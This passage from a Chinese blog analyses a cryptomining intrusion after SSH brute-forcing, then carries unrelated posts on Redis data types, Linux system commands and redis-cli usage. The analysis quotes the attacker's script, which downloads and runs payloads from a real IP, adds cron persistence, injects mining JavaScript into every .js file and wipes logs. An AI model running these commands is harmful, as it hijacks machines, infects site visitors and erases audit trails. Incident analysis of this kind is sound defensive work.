        wget --timeout=10 --tries=100 -P /etc http://dwz.cn/hqCK3WKx
    elif [ -f "$ccdira" ]
    then
        get --timeout=10 --tries=100 -P /etc http://dwz.cn/hqCK3WKx
fi


3.4 运行恶意挖矿程序


挖矿程序zjgw 配置文件com.json：


chmod 777 zjgw
#com.json配置文件中将unknow替换成字符${ip}
sed -i "s/unknow/${ip}/g" com.json
 sleep 5s
#执行挖矿程序
./zjgw --config=com.json
#清除命令日志痕迹
history -c
echo > /root/.bash_history


3.5 下载并运行shz.sh脚本文件


shdir=\'/etc/shz.sh\'
if [ -f "$shdir" ]
    then
        echo "exists shell"
    else
        if [ -f "$bbdir" ]
        then
            curl --connect-timeout 10 --retry 100 http://140.143.35.89:43768/shz.sh > /etc/shz.sh
        elif [ -f "$bbdira" ]
        then
            url --connect-timeout 10 --retry 100 http://140.143.35.89:43768/shz.sh > /etc/shz.sh
        elif [ -f "$ccdir" ]
        then
            wget --timeout=10 --tries=100 -P /etc http://140.143.35.89:43768/shz.sh
        elif [ -f "$ccdira" ]
        then
            get --timeout=10 --tries=100 -P /etc http://140.143.35.89:43768/shz.sh
        fi
        sh /etc/shz.sh
fi


4）判断账号权限（普通权限）


如果文件/etc/gmbpr不存在，即被暴力破解的账号是常规用户权限，添加启动脚本至Crontab定时任务中。设置工作目录为/tmp：


[[ $cont =~ "shz.sh" ]] || echo "* * * * * sh /tmp/shz.sh >/dev/null 2>&1" >> ${crondir}


4.1）下载配置文件com.json至/tmp


4.2）下载挖矿主程序zjgw至/tmp


4.3）运行恶意挖矿程序 配置文件（同3.4）


4.4）下载并运行恶意脚本/tmp/shz.sh（同3.5）


5）Monero Javascript网页挖矿


在Victim全盘查找js文件，并插入网页挖矿JS脚本document.write(‘’);


find / -name \'*.js\'|xargs grep -L f4ce9|xargs sed -i \'$a\document.write\(\'\\'\\\>OMINEId\(\"e02cf4ce91284dab9bc3fc4cc2a65e28\",\"-1\"\)\\\'\)\;


6）清除痕迹


攻击者清除攻击日志痕迹


echo > /var/spool/mail/root
echo > /var/log/wtmp
echo > /var/log/secure
echo > /root/.bash_history


三、执行ELF挖矿程序


1）挖矿配置文件com.json


通过配置文件查看到XMR数字货币的挖矿算法、挖矿地址和钱包地址等：




{ 




#XMR门罗币的主要共识机制（挖矿算法）:cryptonight 




    "algo": "cryptonight", 




    "api": { 




        "port": 0, 




        "access-token": null, 




        "worker-id": null, 




        "ipv6": false, 




        "restricted": true 




    }, 




    "av": 0, 




    "background": true, 




    "colors": true, 




    "cpu-priority": 5, 




    "donate-level": 1, 




    "log-file": null, 




    "max-cpu-usage": 90, 




    "pools": [ 




        { 




#挖矿地址 




            "url": "stratum tcp://xmr.f2pool.com:13531", 




#钱包地址 




            "user":  




"46j2hc8eJbZZST8L4cpmLdjKKvWnggQVt9HRLYHsCKHUZbuok15X93ag9djxnt2mdpdJPRCsvuHzm92iahdpBxZa3FbBovX.unknow",




            "pass": "x", 




            "keepalive": true, 




            "nicehash": false, 




            "variant": -1 




        } 




    ], 




    "print-time": 60, 




    "retries": 99999, 




    "retry-pause": 5, 




    "safe": false, 




    "syslog": false, 




}




2）挖矿主程序zjgw


zjgw为64为的elf二进制文件，VirusTal检出功能包含了挖矿功能。


自动草稿


3）矿池及收益


截止当前，攻击者恶意ELF程序使用f2pool矿池，上述钱包地址相关收益信息：




（1）164矿工正在线进行挖矿；


（2）共捕获254矿工；


（3）此钱包地址总收益4.7XMR，按当前市场价格736RMB价格计算，约收获3459RMB


（4）这些矿工，可能很多是攻击者捕获的肉鸡；攻击者也可能还有更多其他的钱包地址及肉鸡矿工即进行获益。




自动草稿


四、Monero Javascript网页挖矿


自动草稿


在Victim全盘查找js文件，并插入网页挖矿JS脚本document.write(‘’);


1）curl -I http://t.cn/EvlonFh；




短网址指向https://xmr.omine.org/assets/v7.js




HTTP/1.1 302 Found
Date: Mon, 15 Oct 2018 08:02:12 GMT
Content-Type: text/html;charset=UTF-8
Content-Length: 216
Connection: keep-alive
Set-Cookie: aliyungf_tc=AQAAAN65sGSyOQcAihDut35iYAxQi2Sj; Path=/; HttpOnly
Server: nginx
Location: https://xmr.omine.org/assets/v7.js




2）curl https://xmr.omine.org/assets/v7.js




javascript脚本文件，包含了矿池地址wss://xmr.ominie.org:8181：




自动草稿




3）omine矿池




自动草稿




4）隐藏后的钱包地址ID




OMINEId("e02cf4ce91284dab9bc3fc4cc2a65e28","-1")




自动草稿




5）收益




假设攻击者的JS网页挖矿与ELF程序挖矿使用的同一个钱包地址:46j2hc8eJbZZST8L4cpmLdjKKvWnggQVt9HRLYHsCKHUZbuok15X93ag9djxnt2mdpdJPRCsvuHzm92iahdpBxZa3FbBovX ,此处收益相对较少，有0.037个XMR。




自动草稿




五、小结




攻击者通过SSH暴力破解获取系统账号后，一方面通过下载及运行ELF二进制挖矿程序，利用系统CPU/GPU资源进行XMR（门罗币）挖矿；另一方面，通过在系统里面的JS文件中插入JS网页挖矿的代码，利用远程访问系统JS网页的客户端资源进行XMR网页挖矿。建议措施：




（1）账号加固；


（2）系统资源、网络、进程监控；


（3）检查系统是否有恶意资源滥用情况（ELF挖矿程序）；


（4）检查系统是否有恶意JS网页挖矿脚本（网页挖矿脚本）；


（5）其他






标签: , , 
没有评论












226月/18关


Redis 数据类型详解适用场景场合




发布在 邵珠庆




1.  MySql+Memcached架构的问题


实际MySQL是适合进行海量数据存储的，通过Memcached将热点数据加载到cache，加速访问，很多公司都曾经使用过这样的架构，但随着业务数据量的不断增加，和访问量的持续增长，我们遇到了很多问题：


1.MySQL需要不断进行拆库拆表，Memcached也需不断跟着扩容，扩容和维护工作占据大量开发时间。


2.Memcached与MySQL数据库数据一致性问题。


3.Memcached数据命中率低或down机，大量访问直接穿透到DB，MySQL无法支撑。


4.跨机房cache同步问题。


众多NoSQL百花齐放，如何选择


最近几年，业界不断涌现出很多各种各样的NoSQL产品，那么如何才能正确地使用好这些产品，最大化地发挥其长处，是我们需要深入研究和思考的问题，实际归根结底最重要的是了解这些产品的定位，并且了解到每款产品的tradeoffs，在实际应用中做到扬长避短，总体上这些NoSQL主要用于解决以下几种问题


1.少量数据存储，高速读写访问。此类产品通过数据全部in-momery 的方式来保证高速访问，同时提供数据落地的功能，实际这正是Redis最主要的适用场景。


2.海量数据存储，分布式系统支持，数据一致性保证，方便的集群节点添加/删除。


3.这方面最具代表性的是dynamo和bigtable 2篇论文所阐述的思路。前者是一个完全无中心的设计，节点之间通过gossip方式传递集群信息，数据保证最终一致性，后者是一个中心化的方案设计，通过类似一个分布式锁服务来保证强一致性,数据写入先写内存和redo log，然后定期compat归并到磁盘上，将随机写优化为顺序写，提高写入性能。


4.Schema free，auto-sharding等。比如目前常见的一些文档数据库都是支持schema-free的，直接存储json格式数据，并且支持auto-sharding等功能，比如mongodb。


面对这些不同类型的NoSQL产品,我们需要根据我们的业务场景选择最合适的产品。


Redis最适合所有数据in-momory的场景，虽然Redis也提供持久化功能，但实际更多的是一个disk-backed的功能，跟传统意义上的持久化有比较大的差别，那么可能大家就会有疑问，似乎Redis更像一个加强版的Memcached，那么何时使用Memcached,何时使用Redis呢?


如果简单地比较Redis与Memcached的区别，大多数都会得到以下观点：


1 、Redis不仅仅支持简单的k/v类型的数据，同时还提供list，set，zset，hash等数据结构的存储。

2 、Redis支持数据的备份，即master-slave模式的数据备份。

3 、Redis支持数据的持久化，可以将内存中的数据保持在磁盘中，重启的时候可以再次加载进行使用。


 


2.  Redis常用数据类型


Redis最为常用的数据类型主要有以下：


    

  • String
    • 

  • Hash
    • 

  • List
    • 

  • Set
    • 

  • Sorted set
    • 

  • pub/sub
    • 

  • Transactions
    • 



在具体描述这几种数据类型之前，我们先通过一张图了解下Redis内部内存管理中是如何描述这些不同数据类型的：


首先Redis内部使用一个redisObject对象来表示所有的key和value,redisObject最主要的信息如上图所示：


type代表一个value对象具体是何种数据类型，


encoding是不同数据类型在redis内部的存储方式，


比如：type=string代表value存储的是一个普通字符串，那么对应的encoding可以是raw或者是int,如果是int则代表实际redis内部是按数值型类存储和表示这个字符串的，当然前提是这个字符串本身可以用数值表示，比如:"123" "456"这样的字符串。


这里需要特殊说明一下vm字段，只有打开了Redis的虚拟内存功能，此字段才会真正的分配内存，该功能默认是关闭状态的，该功能会在后面具体描述。通过上图我们可以发现Redis使用redisObject来表示所有的key/value数据是比较浪费内存的，当然这些内存管理成本的付出主要也是为了给Redis不同数据类型提供一个统一的管理接口，实际作者也提供了多种方法帮助我们尽量节省内存使用，我们随后会具体讨论。


3.  各种数据类型应用和实现方式


下面我们先来逐一的分析下这7种数据类型的使用和内部实现方式:


    

  • String:
    • 





Strings 数据结构是简单的key-value类型，value其实不仅是String，也可以是数字.


常用命令:  set,get,decr,incr,mget 等。


应用场景：String是最常用的一种数据类型，普通的key/ value 存储都可以归为此类.即可以完全实现目前 Memcached 的功能，并且效率更高。还可以享受Redis的定时持久化，操作日志及 Replication等功能。除了提供与 Memcached 一样的get、set、incr、decr 等操作外，Redis还提供了下面一些操作：


    

  • 

      

    • 获取字符串长度
      • 

    • 往字符串append内容
      • 

    • 设置和获取字符串的某一段内容
      • 

    • 设置及获取字符串的某一位（bit）
      • 

    • 批量设置一系列字符串的内容
      • 

    

    • 



实现方式：String在redis内部存储默认就是一个字符串，被redisObject所引用，当遇到incr,decr等操作时会转成数值型进行计算，此时redisObject的encoding字段为int。


    

  • Hash
    • 



常用命令：hget,hset,hgetall 等。


应用场景：在Memcached中，我们经常将一些结构化的信息打包成HashMap，在客户端序列化后存储为一个字符串的值，比如用户的昵称、年龄、性别、积分等，这时候在需要修改其中某一项时，通常需要将所有值取出反序列化后，修改某一项的值，再序列化存储回去。这样不仅增大了开销，也不适用于一些可能并发操作的场合（比如两个并发的操作都需要修改积分）。而Redis的Hash结构可以使你像在数据库中Update一个属性一样只修改某一项属性值。


我们简单举个实例来描述下Hash的应用场景，比如我们要存储一个用户信息对象数据，包含以下信息：


用户ID为查找的key，存储的value用户对象包含姓名，年龄，生日等信息，如果用普通的key/value结构来存储，主要有以下2种存储方式：


第一种方式将用户ID作为查找key,把其他信息封装成一个对象以序列化的方式存储，这种方式的缺点是，增加了序列化/反序列化的开销，并且在需要修改其中一项信息时，需要把整个对象取回，并且修改操作需要对并发进行保护，引入CAS等复杂问题。


第二种方法是这个用户信息对象有多少成员就存成多少个key-value对儿，用用户ID+对应属性的名称作为唯一标识来取得对应属性的值，虽然省去了序列化开销和并发问题，但是用户ID为重复存储，如果存在大量这样的数据，内存浪费还是非常可观的。


那么Redis提供的Hash很好的解决了这个问题，Redis的Hash实际是内部存储的Value为一个HashMap，并提供了直接存取这个Map成员的接口，如下图：


也就是说，Key仍然是用户ID, value是一个Map，这个Map的key是成员的属性名，value是属性值，这样对数据的修改和存取都可以直接通过其内部Map的Key(Redis里称内部Map的key为field), 也就是通过 key(用户ID) + field(属性标签) 就可以操作对应属性数据了，既不需要重复存储数据，也不会带来序列化和并发修改控制的问题。很好的解决了问题。


这里同时需要注意，Redis提供了接口(hgetall)可以直接取到全部的属性数据,但是如果内部Map的成员很多，那么涉及到遍历整个内部Map的操作，由于Redis单线程模型的缘故，这个遍历操作可能会比较耗时，而另其它客户端的请求完全不响应，这点需要格外注意。


实现方式：


上面已经说到Redis Hash对应Value内部实际就是一个HashMap，实际这里会有2种不同实现，这个Hash的成员比较少时Redis为了节省内存会采用类似一维数组的方式来紧凑存储，而不会采用真正的HashMap结构，对应的value redisObject的encoding为zipmap,当成员数量增大时会自动转成真正的HashMap,此时encoding为ht。


    

  • List
    • 



常用命令：lpush,rpush,lpop,rpop,lrange等。


应用场景：


Redis list的应用场景非常多，也是Redis最重要的数据结构之一，比如twitter的关注列表，粉丝列表等都可以用Redis的list结构来实现。


Lists 就是链表，相信略有数据结构知识的人都应该能理解其结构。使用Lists结构，我们可以轻松地实现最新消息排行等功能。Lists的另一个应用就是消息队列，

可以利用Lists的PUSH操作，将任务存在Lists中，然后工作线程再用POP操作将任务取出进行执行。Redis还提供了操作Lists中某一段的api，你可以直接查询，删除Lists中某一段的元素。


实现方式：


Redis list的实现为一个双向链表，即可以支持反向查找和遍历，更方便操作，不过带来了部分额外的内存开销，Redis内部的很多实现，包括发送缓冲队列等也都是用的这个数据结构。


    

  • Set
    • 



常用命令：


sadd,spop,smembers,sunion 等。


应用场景：


Redis set对外提供的功能与list类似是一个列表的功能，特殊之处在于set是可以自动排重的，当你需要存储一个列表数据，又不希望出现重复数据时，set是一个很好的选择，并且set提供了判断某个成员是否在一个set集合内的重要接口，这个也是list所不能提供的。


Sets 集合的概念就是一堆不重复值的组合。利用Redis提供的Sets数据结构，可以存储一些集合性的数据，比如在微博应用中，可以将一个用户所有的关注人存在一个集合中，将其所有粉丝存在一个集合。Redis还为集合提供了求交集、并集、差集等操作，可以非常方便的实现如共同关注、共同喜好、二度好友等功能，对上面的所有集合操作，你还可以使用不同的命令选择将结果返回给客户端还是存集到一个新的集合中。


实现方式：


set 的内部实现是一个 value永远为null的HashMap，实际就是通过计算hash的方式来快速排重的，这也是set能提供判断一个成员是否在集合内的原因。


    

  • Sorted Set
    • 



常用命令：


zadd,zrange,zrem,zcard等


使用场景：


Redis sorted set的使用场景与set类似，区别是set不是自动有序的，而sorted set可以通过用户额外提供一个优先级(score)的参数来为成员排序，并且是插入有序的，即自动排序。当你需要一个有序的并且不重复的集合列表，那么可以选择sorted set数据结构，比如twitter 的public timeline可以以发表时间作为score来存储，这样获取时就是自动按时间排好序的。


另外还可以用Sorted Sets来做带权重的队列，比如普通消息的score为1，重要消息的score为2，然后工作线程可以选择按score的倒序来获取工作任务。让重要的任务优先执行。


实现方式：


Redis sorted set的内部使用HashMap和跳跃表(SkipList)来保证数据的存储和有序，HashMap里放的是成员到score的映射，而跳跃表里存放的是所有的成员，排序依据是HashMap里存的score,使用跳跃表的结构可以获得比较高的查找效率，并且在实现上比较简单。


    

  • Pub/Sub
    • 



Pub/Sub 从字面上理解就是发布（Publish）与订阅（Subscribe），在Redis中，你可以设定对某一个key值进行消息发布及消息订阅，当一个key值上进行了消息发布后，所有订阅它的客户端都会收到相应的消息。这一功能最明显的用法就是用作实时消息系统，比如普通的即时聊天，群聊等功能。


    

  • Transactions
    • 



谁说NoSQL都不支持事务，虽然Redis的Transactions提供的并不是严格的ACID的事务（比如一串用EXEC提交执行的命令，在执行中服务器宕机，那么会有一部分命令执行了，剩下的没执行），但是这个Transactions还是提供了基本的命令打包执行的功能（在服务器不出问题的情况下，可以保证一连串的命令是顺序在一起执行的，中间有会有其它客户端命令插进来执行）。Redis还提供了一个Watch功能，你可以对一个key进行Watch，然后再执行Transactions，在这过程中，如果这个Watched的值进行了修改，那么这个Transactions会发现并拒绝执行。


4.  Redis实际应用场景


        Redis在很多方面与其他数据库解决方案不同：它使用内存提供主存储支持，而仅使用硬盘做持久性的存储；它的数据模型非常独特，用的是单线程。另一个大区别在于，你可以在开发环境中使用Redis的功能，但却不需要转到Redis。


转向Redis当然也是可取的，许多开发者从一开始就把Redis作为首选数据库；但设想如果你的开发环境已经搭建好，应用已经在上面运行了，那么更换数据库框架显然不那么容易。另外在一些需要大容量数据集的应用，Redis也并不适合，因为它的数据集不会超过系统可用的内存。所以如果你有大数据应用，而且主要是读取访问模式，那么Redis并不是正确的选择。


        然而我喜欢Redis的一点就是你可以把它融入到你的系统中来，这就能够解决很多问题，比如那些你现有的数据库处理起来感到缓慢的任务。这些你就可以通过Redis来进行优化，或者为应用创建些新的功能。在本文中，我就想探讨一些怎样将Redis加入到现有的环境中，并利用它的原语命令等功能来解决 传统环境中碰到的一些常见问题。在这些例子中，Redis都不是作为首选数据库。




1、显示最新的项目列表


下面这个语句常用来显示最新项目，随着数据多了，查询毫无疑问会越来越慢。




    

  1. SELECT * FROM foo WHERE ... ORDER BY time DESC LIMIT 10
    2. 





        在Web应用中，“列出最新的回复”之类的查询非常普遍，这通常会带来可扩展性问题。这令人沮丧，因为项目本来就是按这个顺序被创建的，但要输出这个顺序却不得不进行排序操作。


        类似的问题就可以用Redis来解决。比如说，我们的一个Web应用想要列出用户贴出的最新20条评论。在最新的评论边上我们有一个“显示全部”的链接，点击后就可以获得更多的评论。


        我们假设数据库中的每条评论都有一个唯一的递增的ID字段。


        我们可以使用分页来制作主页和评论页，使用Redis的模板，每次新评论发表时，我们会将它的ID添加到一个Redis列表：




    

  1. LPUSH latest.comments <ID>
    2. 





       我们将列表裁剪为指定长度，因此Redis只需要保存最新的5000条评论：


       LTRIM latest.comments 0 5000


      每次我们需要获取最新评论的项目范围时，我们调用一个函数来完成（使用伪代码）：




    

  1. FUNCTION get_latest_comments(start, num_items):
    2. 

  2.     id_list = redis.lrange("latest.comments",start,start+num_items - 1)
    3. 

  3.     IF id_list.length < num_items
    4. 

  4.         id_list = SQL_DB("SELECT ... ORDER BY time LIMIT ...")
    5. 

  5.     END
    6. 

  6.     RETURN id_list
    7. 

  7. END
    8. 





      这里我们做的很简单。在Redis中我们的最新ID使用了常驻缓存，这是一直更新的。但是我们做了限制不能超过5000个ID，因此我们的获取ID函数会一直询问Redis。只有在start/count参数超出了这个范围的时候，才需要去访问数据库。


        我们的系统不会像传统方式那样“刷新”缓存，Redis实例中的信息永远是一致的。SQL数据库（或是硬盘上的其他类型数据库）只是在用户需要获取“很远”的数据时才会被触发，而主页或第一个评论页是不会麻烦到硬盘上的数据库了。


2、删除与过滤


      我们可以使用LREM来删除评论。如果删除操作非常少，另一个选择是直接跳过评论条目的入口，报告说该评论已经不存在。


       有些时候你想要给不同的列表附加上不同的过滤器。如果过滤器的数量受到限制，你可以简单的为每个不同的过滤器使用不同的Redis列表。毕竟每个列表只有5000条项目，但Redis却能够使用非常少的内存来处理几百万条项目。


3、排行榜相关


      另一个很普遍的需求是各种数据库的数据并非存储在内存中，因此在按得分排序以及实时更新这些几乎每秒钟都需要更新的功能上数据库的性能不够理想。


      典型的比如那些在线游戏的排行榜，比如一个Facebook的游戏，根据得分你通常想要：


         - 列出前100名高分选手


         - 列出某用户当前的全球排名


      这些操作对于Redis来说小菜一碟，即使你有几百万个用户，每分钟都会有几百万个新的得分。


      模式是这样的，每次获得新得分时，我们用这样的代码：


      ZADD leaderboard  <score>  <username>


     你可能用userID来取代username，这取决于你是怎么设计的。


      得到前100名高分用户很简单：ZREVRANGE leaderboard 0 99。


      用户的全球排名也相似，只需要：ZRANK leaderboard <username>。


4、按照用户投票和时间排序


      排行榜的一种常见变体模式就像Reddit或Hacker News用的那样，新闻按照类似下面的公式根据得分来排序：


       score = points / time^alpha


      因此用户的投票会相应的把新闻挖出来，但时间会按照一定的指数将新闻埋下去。下面是我们的模式，当然算法由你决定。


      模式是这样的，开始时先观察那些可能是最新的项目，例如首页上的1000条新闻都是候选者，因此我们先忽视掉其他的，这实现起来很简单。


      每次新的新闻贴上来后，我们将ID添加到列表中，使用LPUSH + LTRIM，确保只取出最新的1000条项目。


      有一项后台任务获取这个列表，并且持续的计算这1000条新闻中每条新闻的最终得分。计算结果由ZADD命令按照新的顺序填充生成列表，老新闻则被清除。这里的关键思路是排序工作是由后台任务来完成的。


 5、处理过期项目


      另一种常用的项目排序是按照时间排序。我们使用unix时间作为得分即可。


      模式如下：


       - 每次有新项目添加到我们的非Redis数据库时，我们把它加入到排序集合中。这时我们用的是时间属性，current_time和time_to_live。


       - 另一项后台任务使用ZRANGE…SCORES查询排序集合，取出最新的10个项目。如果发现unix时间已经过期，则在数据库中删除条目。


6、计数


       Redis是一个很好的计数器，这要感谢INCRBY和其他相似命令。


       我相信你曾许多次想要给数据库加上新的计数器，用来获取统计或显示新信息，但是最后却由于写入敏感而不得不放弃它们。


       好了，现在使用Redis就不需要再担心了。有了原子递增（atomic increment），你可以放心的加上各种计数，用GETSET重置，或者是让它们过期。


       例如这样操作：


         INCR user:<id> EXPIRE


         user:<id> 60


       你可以计算出最近用户在页面间停顿不超过60秒的页面浏览量，当计数达到比如20时，就可以显示出某些条幅提示，或是其它你想显示的东西。


7、特定时间内的特定项目


        另一项对于其他数据库很难，但Redis做起来却轻而易举的事就是统计在某段特点时间里有多少特定用户访问了某个特定资源。比如我想要知道某些特定的注册用户或IP地址，他们到底有多少访问了某篇文章。


      每次我获得一次新的页面浏览时我只需要这样做：


       SADD page:day1:<page_id> <user_id>


      当然你可能想用unix时间替换day1，比如time()-(time()%3600*24)等等。


      想知道特定用户的数量吗？只需要使用SCARD page:day1:<page_id>。


       需要测试某个特定用户是否访问了这个页面？SISMEMBER page:day1:<page_id>。


 


8、实时分析正在发生的情况，用于数据统计与防止垃圾邮件等


        我们只做了几个例子，但如果你研究Redis的命令集，并且组合一下，就能获得大量的实时分析方法，有效而且非常省力。使用Redis原语命令，更容易实施垃圾邮件过滤系统或其他实时跟踪系统。


9、Pub/Sub


       Redis的Pub/Sub非常非常简单，运行稳定并且快速。支持模式匹配，能够实时订阅与取消频道。


10、队列


        你应该已经注意到像list push和list pop这样的Redis命令能够很方便的执行队列操作了，但能做的可不止这些：比如Redis还有list pop的变体命令，能够在列表为空时阻塞队列。


       现代的互联网应用大量地使用了消息队列（Messaging）。消息队列不仅被用于系统内部组件之间的通信，同时也被用于系统跟其它服务之间的交互。消息队列的使用可以增加系统的可扩展性、灵活性和用户体验。非基于消息队列的系统，其运行速度取决于系统中最慢的组件的速度（注：短板效应）。而基于消息队列可以将系统中各组件解除耦合，这样系统就不再受最慢组件的束缚，各组件可以异步运行从而得以更快的速度完成各自的工作。


    此外，当服务器处在高并发操作的时候，比如频繁地写入日志文件。可以利用消息队列实现异步处理。从而实现高性能的并发操作。


11、缓存


        Redis的缓存部分值得写一篇新文章，我这里只是简单的说一下。Redis能够替代memcached，让你的缓存从只能存储数据变得能够更新数据，因此你不再需要每次都重新生成数据了。




标签: , , , 
没有评论












175月/18关


Linux查看系统配置常用命令




发布在 邵珠庆




一、linux CPU大小

cat /proc/cpuinfo |grep "model name" && cat /proc/cpuinfo |grep "physical id"

说明：Linux下可以在/proc/cpuinfo中看到每个cpu的详细信息。但是对于双核的cpu，在cpuinfo中会看到两个cpu。常常会让人误以为是两个单核的cpu。

其实应该通过Physical Processor ID来区分单核和双核。而Physical Processor ID可以从cpuinfo或者dmesg中找到. flags 如果有 ht 说明支持超线程技术 判断物理CPU的个数可以查看physical id 的值，相同则为

二、内存大小 cat /proc/meminfo |grep MemTotal

三、硬盘大小 fdisk -l |grep Disk

四、uname -a # 查看内核/操作系统/CPU信息的linux系统信息命令

五、head -n 1 /etc/issue # 查看操作系统版本，是数字1不是字母L

六、cat /proc/cpuinfo # 查看CPU信息的linux系统信息命令

七、hostname # 查看计算机名的linux系统信息命令

八、lspci -tv # 列出所有PCI设备

九、lsusb -tv # 列出所有USB设备的linux系统信息命令

十、lsmod # 列出加载的内核模块

十一、env # 查看环境变量资源

十二、free -m # 查看内存使用量和交换区使用量

十三、df -h # 查看各分区使用情况

十四、du -sh # 查看指定目录的大小

十五、grep MemTotal /proc/meminfo # 查看内存总量

十六、grep MemFree /proc/meminfo # 查看空闲内存量

十七、uptime # 查看系统运行时间、用户数、负载

十八、cat /proc/loadavg # 查看系统负载磁盘和分区

十九、mount | column -t # 查看挂接的分区状态

二十、fdisk -l # 查看所有分区

二十一、swapon -s # 查看所有交换分区

二十二、hdparm -i /dev/hda # 查看磁盘参数(仅适用于IDE设备)

二十三、dmesg | grep IDE # 查看启动时IDE设备检测状况网络

二十四、ifconfig # 查看所有网络接口的属性

二十五、iptables -L # 查看防火墙设置

二十六、route -n # 查看路由表

二十七、netstat -lntp # 查看所有监听端口

二十八、netstat -antp # 查看所有已经建立的连接

二十九、netstat -s # 查看网络统计信息进程

三十、ps -ef # 查看所有进程

三十一、top # 实时显示进程状态用户

三十二、w # 查看活动用户

三十三、id # 查看指定用户信息

三十四、last # 查看用户登录日志

三十五、cut -d: -f1 /etc/passwd # 查看系统所有用户

三十六、cut -d: -f1 /etc/group # 查看系统所有组

三十七、crontab -l # 查看当前用户的计划任务服务

三十七、chkconfig –list # 列出所有系统服务

三十八、chkconfig –list | grep on # 列出所有启动的系统服务程序

三十九、rpm -qa # 查看所有安装的软件包

四十、cat /proc/cpuinfo ：查看CPU相关参数的linux系统命令

四十一、cat /proc/partitions ：查看linux硬盘和分区信息的系统信息命令

四十二、cat /proc/meminfo ：查看linux系统内存信息的linux系统命令

四十三、cat /proc/version ：查看版本，类似uname -r

四十四、cat /proc/ioports ：查看设备io端口

四十五、cat /proc/interrupts ：查看中断

四十六、cat /proc/pci ：查看pci设备的信息

四十七、cat /proc/swaps ：查看所有swap分区的信息




标签: , , , 
没有评论












115月/18关


Redis内存数据库操作命令详解




发布在 邵珠庆






默认无权限控制：


远程服务连接：


$ redis-cli -h 127.0.0.1 -p 6379


windows下 ：redis-cli.exe -h 127.0.0.1 -p 6379

redis 127.0.0.1:6379>


远程服务停止：


$ redis-cli -h 172.168.10.254 -p6379 shutdown


2) 有权限控制时(加上-a 密码)：


redis-cli -h 127.0.0.1 -p 6379 -a 123456


除了在登录时通过 -a 参数制定密码外，还可以登录时不指定密码，而在执行操作前进行认证。








 


Redis默认端口号为127.0.0.1，端口号默认为：6379。


此处本机访问远程IP为132.1.114.44的计算机，则首先要在已经安装了Redis的远程计算机上打开其服务器，redis.server.exe

接下来在本机运行redis.cli.exe，也可以通过命令行实现：输入-h 远程计算机IP -p 6379即可连接：




OK了，接下来如果想用自己写的客户端什么的连接远程Redis数据库也只需要输入远程计算机的IP就可以了~








Redis系列-远程连接redis




假设两台redis服务器，ip分别为：192.168.1.101和192.168.1.103，如何在101上通过redis-cli访问103上的redis呢？在远程连接103之前，先讲下redis-cli的几个关键参数：






用法：redis-cli [OPTIONS] [cmd [arg [arg ...]]]


-h <主机ip>，默认是127.0.0.1


-p <端口>，默认是6379


-a <密码>，如果redis加锁，需要传递密码


--help，显示帮助信息


通过对rendis-cli用法介绍，在101上连接103应该很简单：


[root@linuxidc001 ~]# redis-cli -h 192.168.1.103 -p 6379


redis 192.168.1.103:6379>


在101上对103设置个个string值 user.1.name=zhangsan


redis 192.168.1.103:6379> set user.1.name zhangsan


OK


看到ok，表明设置成功了。然后直接在103上登陆，看能不能获取到这个值。


redis 192.168.1.103:6379>  keys *


redis 192.168.1.103:6379>  select 1




1、连接操作相关的命令


    

  • quit：关闭连接（connection）
    • 

  • auth：简单密码认证
    • 



2、对value操作的命令


    

  • exists(key)：确认一个key是否存在
    • 

  • del(key)：删除一个key
    • 

  • type(key)：返回值的类型
    • 

  • keys(pattern)：返回满足给定pattern的所有key
    • 

  • randomkey：随机返回key空间的一个key
    • 

  • rename(oldname, newname)：将key由oldname重命名为newname，若newname存在则删除newname表示的key
    • 

  • dbsize：返回当前数据库中key的数目
    • 

  • expire：设定一个key的活动时间（s）
    • 

  • ttl：获得一个key的活动时间
    • 

  • select(index)：按索引查询
    • 

  • move(key, dbindex)：将当前数据库中的key转移到有dbindex索引的数据库
    • 

  • flushdb：删除当前选择数据库中的所有key
    • 

  • flushall：删除所有数据库中的所有key
    • 



3、对String操作的命令


    

  • set(key, value)：给数据库中名称为key的string赋予值value
    • 

  • get(key)：返回数据库中名称为key的string的value
    • 

  • getset(key, value)：给名称为key的string赋予上一次的value
    • 

  • mget(key1, key2,…, key N)：返回库中多个string（它们的名称为key1，key2…）的value
    • 

  • setnx(key, value)：如果不存在名称为key的string，则向库中添加string，名称为key，值为value
    • 

  • setex(key, time, value)：向库中添加string（名称为key，值为value）同时，设定过期时间time
    • 

  • mset(key1, value1, key2, value2,…key N, value N)：同时给多个string赋值，名称为key i的string赋值value i
    • 

  • msetnx(key1, value1, key2, value2,…key N, value N)：如果所有名称为key i的string都不存在，则向库中添加string，名称key i赋值为value i
    • 

  • incr(key)：名称为key的string增1操作
    • 

  • incrby(key, integer)：名称为key的string增加integer
    • 

  • decr(key)：名称为key的string减1操作
    • 

  • decrby(key, integer)：名称为key的string减少integer
    • 

  • append(key, value)：名称为key的string的值附加value
    • 

  • substr(key, start, end)：返回名称为key的string的value的子串
    • 



4、对List操作的命令


    

  • rpush(key, value)：在名称为key的list尾添加一个值为value的元素
    • 

  • lpush(key, value)：在名称为key的list头添加一个值为value的 元素
    • 

  • llen(key)：返回名称为key的list的长度
    • 

  • lrange(key, start, end)：返回名称为key的list中start至end之间的元素（下标从0开始，下同）
    • 

  • ltrim(key, start, end)：截取名称为key的list，保留start至end之间的元素
    • 

  • lindex(key, index)：返回名称为key的list中index位置的元素
    • 

  • lset(key, index, value)：给名称为key的list中index位置的元素赋值为value
    • 

  • lrem(key, count, value)：删除count个名称为key的list中值为value的元素。count为0，删除所有值为value的元素，count>0从 头至尾删除count个值为value的元素，count<0从尾到头删除|count|个值为value的元素。 lpop(key)：返回并删除名称为key的list中的首元素 rpop(key)：返回并删除名称为key的list中的尾元素 blpop(key1, key2,… key N, timeout)：lpop命令的block版本。即当timeout为0时，若遇到名称为key i的list不存在或该list为空，则命令结束。如果timeout>0，则遇到上述情况时，等待timeout秒，如果问题没有解决，则对 keyi 1开始的list执行pop操作。
    • 

  • brpop(key1, key2,… key N, timeout)：rpop的block版本。参考上一命令。
    • 

  • rpoplpush(srckey, dstkey)：返回并删除名称为srckey的list的尾元素，并将该元素添加到名称为dstkey的list的头部
    • 



5、对Set操作的命令


    

  • sadd(key, member)：向名称为key的set中添加元素member
    • 

  • srem(key, member) ：删除名称为key的set中的元素member
    • 

  • spop(key) ：随机返回并删除名称为key的set中一个元素
    • 

  • smove(srckey, dstkey, member) ：将member元素从名称为srckey的集合移到名称为dstkey的集合
    • 

  • scard(key) ：返回名称为key的set的基数
    • 

  • sismember(key, member) ：测试member是否是名称为key的set的元素
    • 

  • sinter(key1, key2,…key N) ：求交集
    • 

